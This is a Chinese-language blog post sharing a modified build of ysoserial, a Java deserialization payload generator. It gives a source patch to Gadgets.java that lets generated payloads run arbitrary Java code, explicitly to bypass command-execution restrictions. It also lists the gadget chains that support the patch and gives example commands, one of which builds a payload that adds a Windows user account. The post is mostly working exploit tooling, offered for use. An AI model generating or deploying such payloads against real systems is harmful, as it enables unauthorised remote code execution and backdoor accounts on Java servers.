〖工具〗ysoserial修改版支持代码生成Payload
本文于 1499 天之前发表
很久没用过这工具了,最近发现ysoserial在2个月前有更新过即最新版本是2021年1月,于是使用jdk1.7和1.8重新编译,顺便分享一下,也算是备份,免得哪天用到又得重新编译。
简介
ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。一般该工具可生成执行任意命令的序列化对象,通过对工具代码进行简单修改,也可使其执行任意的Java代码,以此来绕过对命令执行的限制。
主页:https://github.com/frohoff/ysoserial
用法
1 | java -jar ysoserial.jar |
例子
1 | java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd |
编译
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
修改让其支持代码生成payload
ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
作者在115行的注释写到: TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
将第117行替换成以下内容编译即可,注意把中文注释去掉,免得编译不了
String cmd="";
//如果以code:开头,认为是代码,否则认为是命令
if(!command.startsWith("code:")){
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";}
else{
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}
```
#### 使用命令生成
```Bash
java -jar ysoserial-0.0.6-SNAPSHOT-all-code-1.7.jar CommonsCollections2 "cmd /c net user k8gege 520 /add" > 1.class
```
#### 使用代码生成
```Bash
java -jar ysoserial-0.0.6-SNAPSHOT-all-code-1.7.jar CommonsCollections2 "code:new java.io.FileOutputStream(\"test\").write(107);" > 1.class
```

#### 支持代码生成的Payload
由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。
ROME
CommonsBeanutils1
CommonsCollections2
CommonsCollections3
CommonsCollections4
Spring1
Spring2
Jdk7u21
MozillaRhino1
JBossInterceptors1
JavassistWeld1
JSON1
Hibernate1
### 下载
由于编译好的文件较大56.8M,无法上传github,已将1.7和1.8编译好的最新版JAR文件RAR分卷压缩上传至"K8小密圈"
转载声明
K8博客文章随意转载,转载请注明出处! © K8gege http://k8gege.org

扫码加入K8小密圈